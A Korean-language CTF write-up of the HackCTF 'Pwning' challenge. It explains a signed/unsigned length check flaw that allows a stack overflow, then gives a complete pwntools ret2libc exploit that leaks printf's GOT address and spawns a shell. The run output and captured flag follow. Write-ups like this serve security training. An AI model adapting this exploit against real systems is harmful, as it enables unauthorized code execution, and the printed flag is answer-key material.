[HackCTF / pwnable] Pwning

2019. 10. 18. 07:47Wargame & CTF/HackCTF

HackCTF - Pwning

Summary

  • 64bit

Analysis

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
 setvbuf(stdout, 0, 2, 0);
 return vuln();
}

vuln

int vuln()
{
 char nptr; // [esp+1Ch] [ebp-2Ch]
 int v2; // [esp+3Ch] [ebp-Ch]

 printf("How many bytes do you want me to read? ");
 get_n(&nptr, 4);
 v2 = atoi(&nptr);
 if ( v2 > 32 )
   return printf("No! That size (%d) is too large!\n", v2);
 printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
 get_n(&nptr, v2);
 return printf("You said: %s\n", &nptr);
}

get_n

int __cdecl get_n(int a1, unsigned int a2)
{
 int v2; // eax
 int result; // eax
 char v4; // [esp+Bh] [ebp-Dh]
 unsigned int v5; // [esp+Ch] [ebp-Ch]

 v5 = 0;
 while ( 1 )
{
   v4 = getchar();
   if ( !v4 || v4 == 10 || v5 >= a2 )
     break;
   v2 = v5++;
   *(_BYTE *)(v2 + a1) = v4;
}
 result = a1 + v5;
 *(_BYTE *)(a1 + v5) = 0;
 return result;
}

get대신 get_n을 쓴다. 느낌이 fgets와 비슷하다.

vuln에서 v2는 int이다. 그리고 get_n에서 v2를 받는 a2는 unsigned int이다.

만약에 v2에 0보다 작은값을 준다면? -1을 주었다고 가정하자.

if (v2 > 32)에서 통과가 될것이고, get_n으로 가게된다. get_n에서 unsigned int로 v2를 받으므로 4294967295값이 되게 된다.

그렇다면 버퍼 오버플로우를 시킬수있다.

Exploit

from pwn import *

e = ELF("./pwning")
#libc = e.libc
libc = ELF("./libc.so.6")
#p = process("./pwning")
p = remote("ctf.j0n9hyun.xyz", 3019)

pr = 0x080484e1

payload = ""
payload += "-1"

p.recvuntil("read? ")
p.sendline(payload)

p.recvuntil("data!\n")

payload = ""
payload += "A"*(0x2c+0x4)

payload += p32(e.plt["printf"])
payload += p32(pr)
payload += p32(e.got["printf"])

payload += p32(e.symbols["vuln"])

p.sendline(payload)
p.recvuntil("\n")

printf_got = u32(p.recv(4))
libc_base = printf_got - libc.symbols["printf"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = list(libc.search("/bin/sh"))[0] + libc_base

payload = ""
payload += "-1"

p.recvuntil("read? ")
p.sendline(payload)

p.recvuntil("data!\n")

payload = ""
payload += "A"*(0x2c+0x4)

payload += p32(system_addr)
payload += p32(pr)
payload += p32(binsh_addr)

p.sendline(payload)
p.interactive()

일단 첫번째로 printf의 got를 printf로 출력했다. 그러면 libc base를 구할수있다. libc base를 구하면 system의 주소를 알수있다.

그리고 다시 vuln함수로 돌린다음에 다시 입력을 받는다.

두번째에서는 system주소와 libc안에 있는 "/bin/sh"의 주소를 준다.

그러면 쉘이 따지게 된다.

Flag

cg10036@cg10036-virtual-machine:~/hackCTF/pwning$ p ex.py 
[*] '/home/cg10036/hackCTF/pwning/pwning'
  Arch:     i386-32-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:       NX enabled
  PIE:     No PIE (0x8048000)
[*] '/home/cg10036/hackCTF/pwning/libc.so.6'
  Arch:     i386-32-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[+] Opening connection to ctf.j0n9hyun.xyz on port 3019: Done
[*] Switching to interactive mode
You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@ʢ+\xb0   cat flag
HackCTF{b34u71ful_5un5h1n3_pwn1n6}


'Wargame & CTF > HackCTF' 카테고리의 다른 글

[HackCTF / pwnable] Unexploitable #1  (0) 2019.10.18
[HackCTF / pwnable] ROP  (0) 2019.10.18
[HackCTF / pwnable] Gift  (0) 2019.10.18
[HackCTF / pwnable] Look at me  (0) 2019.10.15
[HackCTF / pwnable] RTL_Core  (0) 2019.10.08